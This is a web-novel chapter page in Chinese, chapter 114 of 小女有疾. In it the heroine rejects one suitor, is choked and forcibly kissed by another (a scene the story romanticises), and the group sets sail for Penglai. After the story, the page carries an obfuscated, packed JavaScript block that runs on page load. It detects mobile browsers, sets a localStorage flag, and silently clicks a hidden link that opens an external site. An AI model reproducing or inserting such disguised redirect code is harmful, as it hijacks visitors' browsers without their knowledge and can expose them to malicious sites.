第五文学网 > 言情小说 > 小女有疾 > 第一百一十四章 冤家

第一百一十四章 冤家

    此处芳草萋萋,藤蔓葳蕤,幽幽然一潭湖水袅然生烟,其下一片翠绿依山而眠,仿佛大地之上嵌着一块硕大绿宝石。

    “琉虞公主可好啊?”花梓并未看着沐冷尘,而是蹲在湖边撩起湖水净手。

    此时天色尚早,大地一片静寂,晨曦还未浮出地面,隐隐于远山处笼出一片青白光晕,将夜色浓重渐渐晕染开来,呈现一片淡青色。

    沐冷尘微微一怔,有些失落地问道:“你约我来,只为问这个?”

    花梓望望幽绿的湖面,深深叹口气:“沐公子……”

    “花梓!”沐冷尘急急打断她,走到她面前,背对着山水草木,眼神里柔情四溢:“你不要再沐公子沐公子的喊我了,叫我冷尘吧。”

    花梓急着说明来意,也未犹豫便点头道:“好吧,冷尘啊……”

    “花梓!”沐冷尘又急急打断她:“晨起天寒,马虎不得,你怎么不多加件衣裳再出来?”言罢,又脱下外衣将花梓包裹起来。

    花梓急急想要推脱却拗不过他,最终气急败坏道:“你不要对我这么好!”

    她满脸懊恼,紧皱着眉头,趁沐冷尘愣神之际,将他的衣衫从肩头褪去,递到他手中:“我不冷!即便我冷,你也不该把衣服给我。男女授受不亲,你我二人一未成婚,二未有婚约,即便有婚约或许也被你悔婚了。如今这样又何苦,我已不记得过往之事,你也……也忘了罢!”

    最后一句,声音极小。

    她也明白,经历过的事怎会轻易忘却,故而自知这话说的十分牵强,也就少了几分底气。

    她本想,沐冷尘若现出哀戚的模样,她会善解人意地拍拍他的肩膀。劝慰几句,例如:天涯何处无芳草,何必单恋一丑花?

    待他看清形势,豁然开朗。恍然大悟跑去安心做他的驸马,她也算成人之美了。

    愿望总是美好的,现实却往往有些波折。

    沐冷尘确实现出哀戚的模样,她也确实善解人意拍着他的肩膀劝道:“天涯何处无芳草,何必单恋一丑花?”

    然沐冷尘却哀戚了半晌也未看清形势。

    后来,在花梓恢复记忆时,方晓得,她此刻的想法是如此天真幼稚。

    有些人,有些事,不是想忘记或是谁让自己忘记便能忘记的。而她忘记了,却是无可奈何,并非出于本意。

    “我说过,会守你一生,无论你是生是死。是愿意还是不愿意,我都会守着!”

    沐冷尘紧紧抓着手中的衣衫,眼中透着不容置疑的绝决,让花梓十分惶惑,仿佛自己是座皇陵,而他是个尽忠职守的守陵人。

    这份偏执让花梓感觉压力颇大,这感觉好似灵魂入了大牢。被他锁死,无力挣脱。

    结果是不欢而散。

    她冷着脸,语气凉薄而微怒:“随你!”之后,匆忙离去。

    沐冷尘站在湖边久久凝望,直到她的背影消失不见。

    他忽而松手,那玄色衣衫飘然落上草坪。被露水打湿成一片又一片青色水渍。

    许是晨起天气微寒的缘故,花梓扔下沐冷尘,独自回到客栈时,嘴唇有些微微发白。

    她抱着肩膀,埋头迈进门。却同白玉曦撞个满怀。

    “去哪了!?”白玉曦忙拉住花梓手臂,将她扶稳,见她如此形状,开口质问,语气里已听出许多不悦。

    花梓是个悲剧,因为没有一身好武艺还不懂得养成一个好脾气,她不吃亏谁吃亏啊?

    她正心绪烦乱,见白玉曦审问犯人般犀利的眼神心中怒气油然而生,一时焦躁,甩开白玉曦的手,趾高气昂应道:“同男人私会去了!如何?”

    话一出口,花梓便恨不得咬断自己的舌头,白玉曦的脸色愈加铁青,她想,在劫难逃了。

    慌乱之下,她一个踉跄,险些被门槛绊倒。

    白玉曦一把抓住她的手,将她生生扯了回来,虽说胳膊被扯的生疼,然总比摔下去要好的多。

    刚想道谢,脖子却被死死卡住。她奋力睁眼,见白玉曦眼睛通红盯着自己,饿狼似的,十分骇人。

    她很想问他一句:“你除了掐脖子还会啥?”

    如何是好?她想抽出腰间的鞭子,手却被白玉曦按在墙上,另一只手却被压在自己身后,动弹不得。

    她很敬佩自己此时还能如此从容淡定的思索,若白玉曦得知自己不再是处子之身,会作何反应?白绫匕首还是鸩酒?或许自己等不到那一天就已经死在这里了。

    他忽然吻上她的唇。

    花梓有些惊恐,紧紧闭着双眼,奋力摇头,想躲开白玉曦,他却疯了似的用力掐住她的脖子,迫使她动弹不得。

    花梓倒不觉着屈辱,只是畏惧着,不是畏惧白玉曦,而是畏惧心中的贪念。

    万一她忍不住,吻了白玉曦,日后又要出家入住尼姑庵,岂不是不负责任?

    白玉曦好端端的一个黄花大小伙就这么被无故轻薄却无处说理,多么委屈。

    正当她与贪念作斗争时,沐冷尘拎着衣衫从门外走来,白玉曦倏然抬头,花梓心中蓦然松了口气,可见到沐冷尘时,这口气又立时提到了嗓子眼儿。

    白玉曦松了手,拍拍衣襟,冷笑道:“同你私会的男人回来了!”

    这话让花梓心中难受了好一会儿,也担忧了许久,而后更加坚定了加入尼姑行列这个伟大志向。

    晨曦落在沐冷尘背上,将他长长的影子打在地上,花梓无心去琢磨他二人的心思。

    因为无论如何,她觉得,她终将成为一名地地道道的尼姑。

    然而,没有轻薄到白玉曦,这终究是个遗憾。

    是夜,白玉曦同沐冷尘进行了一次别开生面的深度会谈,内容不详。

    翌日,沐冷尘便来辞行,说有要事,需先行一步。

    临行前,他走到花梓面前,欲言又止,终了只是喑哑地说了声:“保重!”

    天边乌云翻卷,冷风乍起,卷着干枯的柳絮肆意盘旋。

    花梓望着沐冷尘孤零零的背影,心中生出些怜悯。于是,拍马疾驰,将携带的一把油纸伞递给他,并嘱咐道:“要下雨了,当心淋着。”说完,也不等他回答,又连忙扭转马身,匆匆离去。

    沐冷尘握着手中伞,久久凝望着花梓的背影。

    还如何抱着她风中赏雪,雨中赏荷?还如何握着她的手为她取暖?若注定要错过,为何又注定相遇?老天开了个不大不小的玩笑,却在凡人的心上留下个不能更深的伤疤!

    由于一大波一大波的武林人士正赶往蓬莱岛,去往蓬莱岛的船只十分紧俏,要排队等上许久才能赶上一艘,平日里清闲惯了的船夫一时手忙脚乱。

    南宫云笙财大气粗,单独租下一艘船来。

    花梓对此十分不屑,表示不如买下一艘,这些日子专门用来接送去往蓬莱岛的江湖人士,买船的钱大约也就赚出来了,到时再把船卖掉,又是一笔收入。

    南宫云笙觉得很有道理,便问道:“可有人会划船?”

    一行人皆摇头称不会,唯有白玉曦依旧因着油纸伞一事阴鸷着脸,一语不发。

    故而,此事只好作罢,花梓不禁感叹,学会一门手艺对于谋生而言是多么重要。

    花梓晕船,趴在船尾处时不时的呕吐,很煞风景,她胃里风卷云涌的,却依然忍不住举目四望。

    平静无澜的海面一望无际,与天相接处,偶见鸥鸟的影子,像纷飞的雪花。

    碧空万里,半点浮云也瞧不见,只有一望无际的蔚蓝。天的蓝,海的蓝,从眼底蔓延到心里。那颗久久浸在世俗中的心便无限放大,仿佛包容了天地,包罗了万象,最终归于一片宁静。

    这真是美极了,这样想着,她胃中又一阵翻卷,这次只呕出些酸水。

    白玉曦凑到跟前,正色道:“这是犯了相思病?”

    花梓未理会他,皱着眉头盯着船板,奋力压抑着身体的不适。

    白玉曦想了想,弯腰蹲在她面前,足下用力一跺。

    他内力浑厚,如此一来,船身便骤然晃动。

    花梓身子立时摇摆不定,于是紧紧抓住木板,天旋地转间,胃里翻卷着巨浪。

    白玉曦嘴角划过一丝畅快的笑意,又卯足了劲儿一踏船板。花梓再抓不住木板,慌乱中眼前有些模糊,也顾不得许多,随手抓了什么便死死拽住。

    只听“呲啦”一声,是布帛撕裂的声响。

    花梓整个身子撞到船板上,她揉揉撞疼的额角,听到凝馨踉跄的脚步声还有她温柔的询问:“又未起风,船怎么摇得这么厉害?”

    于是她抬眼,瞧见白玉曦墨黑长袍被扯开好大一个口子,露出内里雪白的长裤,样子十分狼狈。

    而这一幕恰好被凝馨撞个正着,凝馨面露尴尬,红着双颊转过身子低下头去。

    白玉曦脸色很是难看,他本伸出一只手来,看模样是想扶花梓起身,然看到身上零零落落的袍子时,霍然收回手,扭身便朝船舱走去。

    何为冤家,便是你想与她为难,最终为难了自己。

    满心懊恼时对方又摆出与己无关的架势。

    你想毁了她又舍不得,你想抓住她又频频失手。你想离开,又千丝万缕的羁绊皆源于内心,如何都割舍不掉。

    此为极品冤家!花梓就是他的极品冤家!

    &nbsp


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p y(){q(P z==="Q".c("").d().f("")){r R}A a=(S^T)+(U^V);u B=z[\'\\C\\8\\0\\6\\W\\7\\0\\g\\1\'][\'\\1\\5\\D\\5\\E\\0\\6\\v\\3\\8\\0\']();a=X^Y;A b=(Z^10)+(11^12);u F=13 14("15|16|17 18|19|1a|1b|1c 1d|1e|1f|1g|1h".c("").d().f(""),\'\\h\');b=\'\\7\\4\\i\\7\\l\\j\';r F[\'\\1\\0\\8\\1\'](B)}p G(a){u 9=m[\'\\n\\6\\0\\3\\1\\0\\H\\2\\0\\i\\0\\g\\1\']("\\3");9[\'\\s\\6\\0\\l\']=a;9[\'\\8\\1\\o\\2\\0\'][\'\\4\\h\\8\\j\\2\\3\\o\']="1i".c("").d().f("");9[\'\\1\\3\\6\\7\\0\\1\']="\\I\\k\\2\\3\\g\\w";m[\'\\k\\5\\4\\o\'][\'\\3\\j\\j\\0\\g\\4\\v\\s\\h\\2\\4\'](9);9[\'\\n\\2\\h\\n\\w\']();m[\'\\k\\5\\4\\o\'][\'\\6\\0\\i\\5\\J\\0\\v\\s\\h\\2\\4\'](9)}p 1j(){1k{r t[\'\\8\\0\\2\\l\']!==t[\'\\1\\5\\j\']}1l(e){r!![]}}m[\'\\3\\4\\4\\H\\J\\0\\g\\1\\D\\h\\8\\1\\0\\g\\0\\6\']("1m".c("").d().f(""),p(){q(!t[\'\\7\\2\\5\\k\\3\\2\\K\\3\\6\']){q(m[\'\\k\\5\\4\\o\']!=1n){t[\'\\7\\2\\5\\k\\3\\2\\K\\3\\6\']="\\x";L=M[\'\\7\\0\\1\\x\\1\\0\\i\']("\\2\\C\\n\\w\\I\\l\\l");q(!L&&y()){G("\\s\\1\\1\\j\\1o\\N\\N\\1p\\1q\\1r\\1s\\E\\O\\1t\\7\\1\\7\\4\\O\\n\\5\\i")}M[\'\\8\\0\\1\\x\\1\\0\\i\']("1u".c("").d().f(""),"1v".c("").d().f(""))}}});',62,94,'u0065|u0074|u006C|u0061|u0064|u006F|u0072|u0067|u0073|_0x6b77cg|||split|reverse||join|u006E|u0069|u006D|u0070|u0062|u0066|document|u0063|u0079|function|if|return|u0068|window|const|u0043|u006B|u0049|isMobileDevice|navigator|var|_0x85cfe|u0075|u004C|u0077|_0xgc37d|OpenUrl|u0045|u005F|u0076|u0056|hasExecuted|localStorage|u002F|u002E|typeof|denifednu|false|773198|773197|160939|160937|u0041|156840|156841|253675|253666|891920|891925|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|isInIframe|try|catch|dedaoLtnetnoCMOD|null|u003A|u0032|u0034|u0035|u0036|u006A|ff_kcul|eurt'.split('|'),0,{}))